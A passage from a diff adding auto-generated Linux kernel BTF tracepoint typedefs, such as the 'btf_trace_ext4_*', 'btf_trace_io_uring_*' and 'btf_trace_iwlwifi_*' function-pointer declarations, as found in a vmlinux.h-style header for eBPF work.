(*btf_trace_drv_sta_rc_update)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, u32); + +typedef void (*btf_trace_drv_sta_remove)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_sta_set_4addr)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, bool); + +typedef void (*btf_trace_drv_sta_set_decap_offload)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, bool); + +typedef void (*btf_trace_drv_sta_set_txpwr)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_sta_state)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, enum ieee80211_sta_state, enum ieee80211_sta_state); + +typedef void (*btf_trace_drv_sta_statistics)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_start)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_start_ap)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *); + +typedef void (*btf_trace_drv_start_nan)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct cfg80211_nan_conf *); + +typedef void (*btf_trace_drv_start_pmsr)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_stop)(void *, struct ieee80211_local *, bool); + +typedef void (*btf_trace_drv_stop_ap)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *); + +typedef void (*btf_trace_drv_stop_nan)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_suspend)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_sw_scan_complete)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_sw_scan_start)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, const u8 *); + +typedef void (*btf_trace_drv_switch_vif_chanctx)(void *, struct ieee80211_local *, struct ieee80211_vif_chanctx_switch *, int, enum ieee80211_chanctx_switch_mode); + +typedef void (*btf_trace_drv_sync_rx_queues)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_tdls_cancel_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_tdls_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, u8, struct cfg80211_chan_def *); + +typedef void (*btf_trace_drv_tdls_recv_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_tdls_ch_sw_params *); + +typedef void (*btf_trace_drv_twt_teardown_request)(void *, struct ieee80211_local *, struct ieee80211_sta *, u8); + +typedef void (*btf_trace_drv_tx_frames_pending)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_tx_last_beacon)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_unassign_vif_chanctx)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *, struct ieee80211_chanctx *); + +typedef void (*btf_trace_drv_update_tkip_key)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_key_conf *, struct ieee80211_sta *, u32); + +typedef void (*btf_trace_drv_update_vif_offload)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_vif_cfg_changed)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u64); + +typedef void (*btf_trace_drv_wake_tx_queue)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct txq_info *); + +typedef void (*btf_trace_e1000e_trace_mac_register)(void *, uint32_t); + +typedef void (*btf_trace_emulate_vsyscall)(void *, int); + +typedef void (*btf_trace_error_apic_entry)(void *, int); + +typedef void (*btf_trace_error_apic_exit)(void *, int); + +typedef void (*btf_trace_error_report_end)(void *, enum error_detector, unsigned long); + +typedef void (*btf_trace_exit_mmap)(void *, struct mm_struct *); + +typedef void (*btf_trace_ext4_alloc_da_blocks)(void *, struct inode *); + +typedef void (*btf_trace_ext4_allocate_blocks)(void *, struct ext4_allocation_request *, unsigned long long); + +typedef void (*btf_trace_ext4_allocate_inode)(void *, struct inode *, struct inode *, int); + +typedef void (*btf_trace_ext4_begin_ordered_truncate)(void *, struct inode *, loff_t); + +typedef void (*btf_trace_ext4_collapse_range)(void *, struct inode *, loff_t, loff_t); + +typedef void (*btf_trace_ext4_da_release_space)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_da_reserve_space)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_da_update_reserve_space)(void *, struct inode *, int, int); + +typedef void (*btf_trace_ext4_da_write_begin)(void *, struct inode *, loff_t, unsigned int); + +typedef void (*btf_trace_ext4_da_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_da_write_pages)(void *, struct inode *, unsigned long, struct writeback_control *); + +typedef void (*btf_trace_ext4_da_write_pages_extent)(void *, struct inode *, struct ext4_map_blocks *); + +typedef void (*btf_trace_ext4_discard_blocks)(void *, struct super_block *, unsigned long long, unsigned long long); + +typedef void (*btf_trace_ext4_discard_preallocations)(void *, struct inode *, unsigned int); + +typedef void (*btf_trace_ext4_drop_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_error)(void *, struct super_block *, const char *, unsigned int); + +typedef void (*btf_trace_ext4_es_cache_extent)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_find_extent_range_enter)(void *, struct inode *, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_find_extent_range_exit)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_insert_delayed_extent)(void *, struct inode *, struct extent_status *, bool, bool); + +typedef void (*btf_trace_ext4_es_insert_extent)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_lookup_extent_enter)(void *, struct inode *, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_lookup_extent_exit)(void *, struct inode *, struct extent_status *, int); + +typedef void (*btf_trace_ext4_es_remove_extent)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_shrink)(void *, struct super_block *, int, u64, int, int); + +typedef void (*btf_trace_ext4_es_shrink_count)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_es_shrink_scan_enter)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_es_shrink_scan_exit)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_evict_inode)(void *, struct inode *); + +typedef void (*btf_trace_ext4_ext_convert_to_initialized_enter)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *); + +typedef void (*btf_trace_ext4_ext_convert_to_initialized_fastpath)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *, struct ext4_extent *); + +typedef void (*btf_trace_ext4_ext_handle_unwritten_extents)(void *, struct inode *, struct ext4_map_blocks *, int, unsigned int, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_ext_load_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_ext_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_ext_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_ext_remove_space)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int); + +typedef void (*btf_trace_ext4_ext_remove_space_done)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int, struct partial_cluster *, __le16); + +typedef void (*btf_trace_ext4_ext_rm_idx)(void *, struct inode *, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_ext_rm_leaf)(void *, struct inode *, ext4_lblk_t, struct ext4_extent *, struct partial_cluster *); + +typedef void (*btf_trace_ext4_ext_show_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t, unsigned short); + +typedef void (*btf_trace_ext4_fallocate_enter)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_ext4_fallocate_exit)(void *, struct inode *, loff_t, unsigned int, int); + +typedef void (*btf_trace_ext4_fc_cleanup)(void *, journal_t *, int, tid_t); + +typedef void (*btf_trace_ext4_fc_commit_start)(void *, struct super_block *, tid_t); + +typedef void (*btf_trace_ext4_fc_commit_stop)(void *, struct super_block *, int, int, tid_t); + +typedef void (*btf_trace_ext4_fc_replay)(void *, struct super_block *, int, int, int, int); + +typedef void (*btf_trace_ext4_fc_replay_scan)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_fc_stats)(void *, struct super_block *); + +typedef void (*btf_trace_ext4_fc_track_create)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_fc_track_inode)(void *, handle_t *, struct inode *, int); + +typedef void (*btf_trace_ext4_fc_track_link)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_fc_track_range)(void *, handle_t *, struct inode *, long, long, int); + +typedef void (*btf_trace_ext4_fc_track_unlink)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_forget)(void *, struct inode *, int, __u64); + +typedef void (*btf_trace_ext4_free_blocks)(void *, struct inode *, __u64, unsigned long, int); + +typedef void (*btf_trace_ext4_free_inode)(void *, struct inode *); + +typedef void (*btf_trace_ext4_fsmap_high_key)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_fsmap_low_key)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_fsmap_mapping)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_get_implied_cluster_alloc_exit)(void *, struct super_block *, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_getfsmap_high_key)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_getfsmap_low_key)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_getfsmap_mapping)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_ind_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_ind_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_insert_range)(void *, struct inode *, loff_t, loff_t); + +typedef void (*btf_trace_ext4_invalidate_folio)(void *, struct folio *, size_t, size_t); + +typedef void (*btf_trace_ext4_journal_start_inode)(void *, struct inode *, int, int, int, int, unsigned long); + +typedef void (*btf_trace_ext4_journal_start_reserved)(void *, struct super_block *, int, unsigned long); + +typedef void (*btf_trace_ext4_journal_start_sb)(void *, struct super_block *, int, int, int, int, unsigned long); + +typedef void (*btf_trace_ext4_journalled_invalidate_folio)(void *, struct folio *, size_t, size_t); + +typedef void (*btf_trace_ext4_journalled_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_lazy_itable_init)(void *, struct super_block *, ext4_group_t); + +typedef void (*btf_trace_ext4_load_inode)(void *, struct super_block *, unsigned long); + +typedef void (*btf_trace_ext4_load_inode_bitmap)(void *, struct super_block *, unsigned long); + +typedef void (*btf_trace_ext4_mark_inode_dirty)(void *, struct inode *, unsigned long); + +typedef void (*btf_trace_ext4_mb_bitmap_load)(void *, struct super_block *, unsigned long); + +typedef void (*btf_trace_ext4_mb_buddy_bitmap_load)(void *, struct super_block *, unsigned long); + +typedef void (*btf_trace_ext4_mb_discard_preallocations)(void *, struct super_block *, int); + +typedef void (*btf_trace_ext4_mb_new_group_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_mb_new_inode_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_mb_release_group_pa)(void *, struct super_block *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_mb_release_inode_pa)(void *, struct ext4_prealloc_space *, unsigned long long, unsigned int); + +typedef void (*btf_trace_ext4_mballoc_alloc)(void *, struct ext4_allocation_context *); + +typedef void (*btf_trace_ext4_mballoc_discard)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_mballoc_free)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_mballoc_prealloc)(void *, struct ext4_allocation_context *); + +typedef void (*btf_trace_ext4_nfs_commit_metadata)(void *, struct inode *); + +typedef void (*btf_trace_ext4_other_inode_update_time)(void *, struct inode *, ino_t); + +typedef void (*btf_trace_ext4_prefetch_bitmaps)(void *, struct super_block *, ext4_group_t, ext4_group_t, unsigned int); + +typedef void (*btf_trace_ext4_punch_hole)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_ext4_read_block_bitmap_load)(void *, struct super_block *, unsigned long, bool); + +typedef void (*btf_trace_ext4_read_folio)(void *, struct inode *, struct folio *); + +typedef void (*btf_trace_ext4_release_folio)(void *, struct inode *, struct folio *); + +typedef void (*btf_trace_ext4_remove_blocks)(void *, struct inode *, struct ext4_extent *, ext4_lblk_t, ext4_fsblk_t, struct partial_cluster *); + +typedef void (*btf_trace_ext4_request_blocks)(void *, struct ext4_allocation_request *); + +typedef void (*btf_trace_ext4_request_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_shutdown)(void *, struct super_block *, unsigned long); + +typedef void (*btf_trace_ext4_sync_file_enter)(void *, struct file *, int); + +typedef void (*btf_trace_ext4_sync_file_exit)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_sync_fs)(void *, struct super_block *, int); + +typedef void (*btf_trace_ext4_trim_all_free)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_trim_extent)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_truncate_enter)(void *, struct inode *); + +typedef void (*btf_trace_ext4_truncate_exit)(void *, struct inode *); + +typedef void (*btf_trace_ext4_unlink_enter)(void *, struct inode *, struct dentry *); + +typedef void (*btf_trace_ext4_unlink_exit)(void *, struct dentry *, int); + +typedef void (*btf_trace_ext4_update_sb)(void *, struct super_block *, ext4_fsblk_t, unsigned int); + +typedef void (*btf_trace_ext4_write_begin)(void *, struct inode *, loff_t, unsigned int); + +typedef void (*btf_trace_ext4_write_end)(void *, struct inode *, loff_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_writepages)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_ext4_writepages_result)(void *, struct inode *, struct writeback_control *, int, int); + +typedef void (*btf_trace_ext4_zero_range)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_extent_writepage)(void *, const struct folio *, const struct inode *, const struct writeback_control *); + +typedef void (*btf_trace_fcntl_setlk)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_fdb_delete)(void *, struct net_bridge *, struct net_bridge_fdb_entry *); + +typedef void (*btf_trace_fib6_table_lookup)(void *, const struct net *, const struct fib6_result *, struct fib6_table *, const struct flowi6 *); + +typedef void (*btf_trace_fib_table_lookup)(void *, u32, const struct flowi4 *, const struct fib_nh_common *, int); + +typedef void (*btf_trace_file_check_and_advance_wb_err)(void *, struct file *, errseq_t); + +typedef void (*btf_trace_filemap_set_wb_err)(void *, struct address_space *, errseq_t); + +typedef void (*btf_trace_find_free_extent)(void *, const struct btrfs_root *, const struct find_free_extent_ctl *); + +typedef void (*btf_trace_find_free_extent_have_block_group)(void *, const struct btrfs_root *, const struct find_free_extent_ctl *, const struct btrfs_block_group *); + +typedef void (*btf_trace_find_free_extent_search_loop)(void *, const struct btrfs_root *, const struct find_free_extent_ctl *); + +typedef void (*btf_trace_finish_task_reaping)(void *, int); + +typedef void (*btf_trace_flock_lock_inode)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_flush_foreign)(void *, struct bdi_writeback *, unsigned int, unsigned int); + +typedef void (*btf_trace_folio_wait_writeback)(void *, struct folio *, struct address_space *); + +typedef void (*btf_trace_free_extent_state)(void *, const struct extent_state *, unsigned long); + +typedef void (*btf_trace_free_vmap_area_noflush)(void *, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_generic_add_lease)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_generic_delete_lease)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_global_dirty_state)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_guest_halt_poll_ns)(void *, bool, unsigned int, unsigned int); + +typedef void (*btf_trace_hrtimer_cancel)(void *, struct hrtimer *); + +typedef void (*btf_trace_hrtimer_expire_entry)(void *, struct hrtimer *, ktime_t *); + +typedef void (*btf_trace_hrtimer_expire_exit)(void *, struct hrtimer *); + +typedef void (*btf_trace_hrtimer_init)(void *, struct hrtimer *, clockid_t, enum hrtimer_mode); + +typedef void (*btf_trace_hrtimer_start)(void *, struct hrtimer *, enum hrtimer_mode); + +typedef void (*btf_trace_hugepage_set_pmd)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_hugepage_set_pud)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_hugepage_update_pmd)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_hugepage_update_pud)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_hwmon_attr_show)(void *, int, const char *, long); + +typedef void (*btf_trace_hwmon_attr_show_string)(void *, int, const char *, const char *); + +typedef void (*btf_trace_hwmon_attr_store)(void *, int, const char *, long); + +typedef void (*btf_trace_i2c_read)(void *, const struct i2c_adapter *, const struct i2c_msg *, int); + +typedef void (*btf_trace_i2c_reply)(void *, const struct i2c_adapter *, const struct i2c_msg *, int); + +typedef void (*btf_trace_i2c_result)(void *, const struct i2c_adapter *, int, int); + +typedef void (*btf_trace_i2c_write)(void *, const struct i2c_adapter *, const struct i2c_msg *, int); + +typedef void (*btf_trace_icmp_send)(void *, const struct sk_buff *, int, int); + +typedef void (*btf_trace_inet_sk_error_report)(void *, const struct sock *); + +typedef void (*btf_trace_inet_sock_set_state)(void *, const struct sock *, const int, const int); + +typedef void (*btf_trace_initcall_finish)(void *, initcall_t, int); + +typedef void (*btf_trace_initcall_level)(void *, const char *); + +typedef void (*btf_trace_initcall_start)(void *, initcall_t); + +typedef void (*btf_trace_inode_foreign_history)(void *, struct inode *, struct writeback_control *, unsigned int); + +typedef void (*btf_trace_inode_switch_wbs)(void *, struct inode *, struct bdi_writeback *, struct bdi_writeback *); + +typedef void (*btf_trace_io_uring_complete)(void *, void *, void *, u64, int, unsigned int, u64, u64); + +typedef void (*btf_trace_io_uring_cqe_overflow)(void *, void *, unsigned long long, s32, u32, void *); + +typedef void (*btf_trace_io_uring_cqring_wait)(void *, void *, int); + +typedef void (*btf_trace_io_uring_create)(void *, int, void *, u32, u32, u32); + +typedef void (*btf_trace_io_uring_defer)(void *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_fail_link)(void *, struct io_kiocb *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_file_get)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_link)(void *, struct io_kiocb *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_local_work_run)(void *, void *, int, unsigned int); + +typedef void (*btf_trace_io_uring_poll_arm)(void *, struct io_kiocb *, int, int); + +typedef void (*btf_trace_io_uring_queue_async_work)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_register)(void *, void *, unsigned int, unsigned int, unsigned int, long); + +typedef void (*btf_trace_io_uring_req_failed)(void *, const struct io_uring_sqe *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_short_write)(void *, void *, u64, u64, u64); + +typedef void (*btf_trace_io_uring_submit_req)(void *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_task_add)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_task_work_run)(void *, void *, unsigned int); + +typedef void (*btf_trace_iocost_inuse_adjust)(void *, struct ioc_gq *, const char *, struct ioc_now *, u32, u32, u64, u64); + +typedef void (*btf_trace_iocost_inuse_shortage)(void *, struct ioc_gq *, const char *, struct ioc_now *, u32, u32, u64, u64); + +typedef void (*btf_trace_iocost_inuse_transfer)(void *, struct ioc_gq *, const char *, struct ioc_now *, u32, u32, u64, u64); + +typedef void (*btf_trace_iocost_ioc_vrate_adj)(void *, struct ioc *, u64, u32 *, u32, int, int); + +typedef void (*btf_trace_iocost_iocg_activate)(void *, struct ioc_gq *, const char *, struct ioc_now *, u64, u64, u64); + +typedef void (*btf_trace_iocost_iocg_forgive_debt)(void *, struct ioc_gq *, const char *, struct ioc_now *, u32, u64, u64, u64, u64); + +typedef void (*btf_trace_iocost_iocg_idle)(void *, struct ioc_gq *, const char *, struct ioc_now *, u64, u64, u64); + +typedef void (*btf_trace_iomap_dio_complete)(void *, struct kiocb *, int, ssize_t); + +typedef void (*btf_trace_iomap_dio_invalidate_fail)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_dio_rw_begin)(void *, struct kiocb *, struct iov_iter *, unsigned int, size_t); + +typedef void (*btf_trace_iomap_dio_rw_queued)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_invalidate_folio)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_iter)(void *, struct iomap_iter *, const void *, unsigned long); + +typedef void (*btf_trace_iomap_iter_dstmap)(void *, struct inode *, struct iomap *); + +typedef void (*btf_trace_iomap_iter_srcmap)(void *, struct inode *, struct iomap *); + +typedef void (*btf_trace_iomap_readahead)(void *, struct inode *, int); + +typedef void (*btf_trace_iomap_readpage)(void *, struct inode *, int); + +typedef void (*btf_trace_iomap_release_folio)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_writepage)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_writepage_map)(void *, struct inode *, u64, unsigned int, struct iomap *); + +typedef void (*btf_trace_ipi_entry)(void *, const char *); + +typedef void (*btf_trace_ipi_exit)(void *, const char *); + +typedef void (*btf_trace_ipi_raise)(void *, const struct cpumask *, const char *); + +typedef void (*btf_trace_ipi_send_cpu)(void *, const unsigned int, unsigned long, void *); + +typedef void (*btf_trace_ipi_send_cpumask)(void *, const struct cpumask *, unsigned long, void *); + +typedef void (*btf_trace_irq_disable)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_irq_enable)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_irq_handler_entry)(void *, int, struct irqaction *); + +typedef void (*btf_trace_irq_handler_exit)(void *, int, struct irqaction *, int); + +typedef void (*btf_trace_irq_matrix_alloc)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_alloc_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_alloc_reserved)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_assign)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_assign_system)(void *, int, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_free)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_offline)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_online)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_remove_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_matrix_remove_reserved)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_reserve)(void *, struct irq_matrix *); + +typedef void (*btf_trace_irq_matrix_reserve_managed)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); + +typedef void (*btf_trace_irq_work_entry)(void *, int); + +typedef void (*btf_trace_irq_work_exit)(void *, int); + +typedef void (*btf_trace_itimer_expire)(void *, int, struct pid *, unsigned long long); + +typedef void (*btf_trace_itimer_state)(void *, int, const struct itimerspec64 * const, unsigned long long); + +typedef void (*btf_trace_iwlwifi_crit)(void *, struct va_format *); + +typedef void (*btf_trace_iwlwifi_dbg)(void *, u32, const char *, struct va_format *); + +typedef void (*btf_trace_iwlwifi_dev_hcmd)(void *, const struct device *, struct iwl_host_cmd *, u16, struct iwl_cmd_header_wide *); + +typedef void (*btf_trace_iwlwifi_dev_ict_read)(void *, const struct device *, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_ioread32)(void *, const struct device *, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_ioread_prph32)(void *, const struct device *, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_iowrite32)(void *, const struct device *, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_iowrite64)(void *, const struct device *, u64, u64); + +typedef void (*btf_trace_iwlwifi_dev_iowrite8)(void *, const struct device *, u32, u8); + +typedef void (*btf_trace_iwlwifi_dev_iowrite_prph32)(void *, const struct device *, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_iowrite_prph64)(void *, const struct device *, u64, u64); + +typedef void (*btf_trace_iwlwifi_dev_irq)(void *, const struct device *); + +typedef void (*btf_trace_iwlwifi_dev_irq_msix)(void *, const struct device *, struct msix_entry *, bool, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_rx)(void *, const struct device *, struct iwl_rx_packet *, size_t, size_t, size_t); + +typedef void (*btf_trace_iwlwifi_dev_rx_data)(void *, const struct device *, void *, size_t, size_t); + +typedef void (*btf_trace_iwlwifi_dev_tx)(void *, const struct device *, struct sk_buff *, void *, size_t, void *, size_t, int); + +typedef void (*btf_trace_iwlwifi_dev_tx_tb)(void *, const struct device *, struct sk_buff *, u8 *, dma_addr_t, size_t); + +typedef void (*btf_trace_iwlwifi_dev_ucode_cont_event)(void *, const struct device *, u32, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_ucode_event)(void *, const struct device *, u32, u32, u32); + +typedef void (*btf_trace_iwlwifi_dev_ucode_wrap_event)(void *, const struct device *, u32, u32, u32); + +typedef void (*btf_trace_iwlwifi_err)(void *, struct va_format *); + +typedef void (*btf_trace_iwlwifi_info)(void *, struct va_format *); + +typedef void (*btf_trace_iwlwifi_warn)(void *, struct va_format *); + +typedef void (*btf_trace_jbd2_checkpoint)(void *, journal_t *, int); + +typedef void (*btf_trace_jbd2_checkpoint_stats)(void *, dev_t, tid_t, struct transaction_chp_stats_s *); + +typedef void (*btf_trace_jbd2_commit_flushing)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_commit_locking)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_commit_logging)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_drop_transaction)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_end_commit)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_handle_extend)(void *, dev_t, tid_t, unsigned int, unsigned int, int, int); + +typedef void (*btf_trace_jbd2_handle_restart)(void *, dev_t, tid_t, unsigned int, unsigned int, int); + +typedef void (*btf_trace_jbd2_handle_start)(void *, dev_t, tid_t, unsigned int, unsigned int, int); + +typedef void (*btf_trace_jbd2_handle_stats)(void *, dev_t, tid_t, unsigned int, unsigned int, int, int, int, int); + +typedef void (*btf_trace_jbd2_lock_buffer_stall)(void *, dev_t, unsigned long); + +typedef void (*btf_trace_jbd2_run_stats)(void *, dev_t, tid_t, struct transaction_run_stats_s *); + +typedef void (*btf_trace_jbd2_shrink_checkpoint_list)(void *, journal_t *, tid_t, tid_t, tid_t, unsigned long, tid_t); + +typedef void (*btf_trace_jbd2_shrink_count)(void *, journal_t *, unsigned long, unsigned long); + +typedef void (*btf_trace_jbd2_shrink_scan_enter)(void *, journal_t *, unsigned long, unsigned long); + +typedef void (*btf_trace_jbd2_shrink_scan_exit)(void *, journal_t *, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_jbd2_start_commit)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_submit_inode_data)(void *, struct inode *); + +typedef void (*btf_trace_jbd2_update_log_tail)(void *, journal_t *, tid_t, unsigned long, unsigned long); + +typedef void (*btf_trace_jbd2_write_superblock)(void *, journal_t *, blk_opf_t); + +typedef void (*btf_trace_kfree)(void *, unsigned long, const void *); + +typedef void (*btf_trace_kfree_skb)(void *, struct sk_buff *, void *, enum skb_drop_reason, struct sock *); + +typedef void (*btf_trace_kmalloc)(void *, unsigned long, const void *, size_t, size_t, gfp_t, int); + +typedef void (*btf_trace_kmem_cache_alloc)(void *, unsigned long, const void *, struct kmem_cache *, gfp_t, int); + +typedef void (*btf_trace_kmem_cache_free)(void *, unsigned long, const void *, const struct kmem_cache *); + +typedef void (*btf_trace_kyber_adjust)(void *, dev_t, const char *, unsigned int); + +typedef void (*btf_trace_kyber_latency)(void *, dev_t, const char *, const char *, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_kyber_throttled)(void *, dev_t, const char *); + +typedef void (*btf_trace_leases_conflict)(void *, bool, struct file_lease *, struct file_lease *); + +typedef void (*btf_trace_local_timer_entry)(void *, int); + +typedef void (*btf_trace_local_timer_exit)(void *, int); 